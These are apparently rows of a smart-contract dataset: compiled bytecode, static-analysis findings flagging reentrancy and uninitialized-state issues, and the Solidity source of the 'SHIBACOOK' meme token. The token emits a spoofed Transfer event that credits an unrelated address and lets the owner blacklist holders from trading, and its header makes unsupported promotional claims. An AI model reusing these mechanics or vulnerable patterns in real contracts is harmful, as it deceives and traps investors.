12156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220f043ec042b2def702e4d9c677265c042d44a6759866a3abc732ce9352c29daa064736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,923 |
0xc9e8a502ba7fdf0efb17a6d9d9fd6b3c37ff38d6 | //SPDX-License-Identifier: Unlicense
/**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/*
t.me/shibacook
Shiba Cook
shibacook
So delicious!
Twitter: https://twitter.com/ShibaCook
Telegram: https://t.me/shibacook
Website: shibacook.finance
Reddit: https://www.reddit.com/user/shibacook
Marketing paid
Liqudity Locked
Ownership renounced
No Devwallets
CG, CMC listing: Ongoing
Devs of ShibraCOOK ©
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBACOOK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Shiba cook";
string private constant _symbol = unicode'SHIBACOOK🥘';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dcb565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612911565b61045e565b6040516101789190612db0565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4d565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128c2565b61048d565b6040516101e09190612db0565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612834565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fc2565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612834565b610783565b6040516102b19190612f4d565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612ce2565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dcb565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612911565b61098d565b60405161035b9190612db0565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129e0565b6110d4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612886565b61121d565b6040516104189190612f4d565b60405180910390f35b60606040518060400160405280600a81526020017f536869626120636f6f6b00000000000000000000000000000000000000000000815250905090565b600061047261046b6112a4565b84846112ac565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611477565b61055b846104a66112a4565b6105568560405180606001604052806028815260200161365d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2f9092919063ffffffff16565b6112ac565b600190509392505050565b61056e6112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ead565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ead565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a4565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b93565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8e565b9050919050565b6107dc6112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ead565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f5348494241434f4f4bf09fa59800000000000000000000000000000000000000815250905090565b60006109a161099a6112a4565b8484611477565b6001905092915050565b6109b36112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ead565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613263565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a4565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cfc565b50565b610b7d6112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612ead565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112ac565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285d565b6040518363ffffffff1660e01b8152600401610e1f929190612cfd565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285d565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4f565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a09565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107e929190612d26565b602060405180830381600087803b15801561109857600080fd5b505af11580156110ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d091906129b7565b5050565b6110dc6112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116090612ead565b60405180910390fd5b600081116111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a390612e6d565b60405180910390fd5b6111db60646111cd83683635c9adc5dea00000611ff690919063ffffffff16565b61207190919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516112129190612f4d565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131390612f0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390612e2d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146a9190612f4d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114de90612eed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e90612ded565b60405180910390fd5b6000811161159a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159190612ecd565b60405180910390fd5b6005600a81905550600a600b819055506115b2610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162057506115f0610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116d257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117eb5750601160179054906101000a900460ff165b1561189b576012548111156117ff57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184a57600080fd5b601e426118579190613083565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119465750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561199c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119b2576005600a81905550600a600b819055505b60006119bd30610783565b9050601160159054906101000a900460ff16158015611a2a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a425750601160169054906101000a900460ff165b15611a6a57611a5081611cfc565b60004790506000811115611a6857611a6747611b93565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1d57600090505b611b29848484846120bb565b50505050565b6000838311158290611b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6e9190612dcb565b60405180910390fd5b5060008385611b869190613164565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be360028461207190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0e573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5f60028461207190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c8a573d6000803e3d6000fd5b5050565b6000600854821115611cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccc90612e0d565b60405180910390fd5b6000611cdf6120e8565b9050611cf4818461207190919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d885781602001602082028036833780820191505090505b5090503081600081518110611dc6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6857600080fd5b505afa158015611e7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea0919061285d565b81600181518110611eda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ac565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa5959493929190612f68565b600060405180830381600087803b158015611fbf57600080fd5b505af1158015611fd3573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415612009576000905061206b565b60008284612017919061310a565b905082848261202691906130d9565b14612066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205d90612e8d565b60405180910390fd5b809150505b92915050565b60006120b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612113565b905092915050565b806120c9576120c8612176565b5b6120d48484846121b9565b806120e2576120e1612384565b5b50505050565b60008060006120f5612398565b9150915061210c818361207190919063ffffffff16565b9250505090565b6000808311829061215a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121519190612dcb565b60405180910390fd5b506000838561216991906130d9565b9050809150509392505050565b6000600a5414801561218a57506000600b54145b15612194576121b7565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121cb876123fa565b95509550955095509550955061222986600260008c73ffffffffffffffffffffffffffff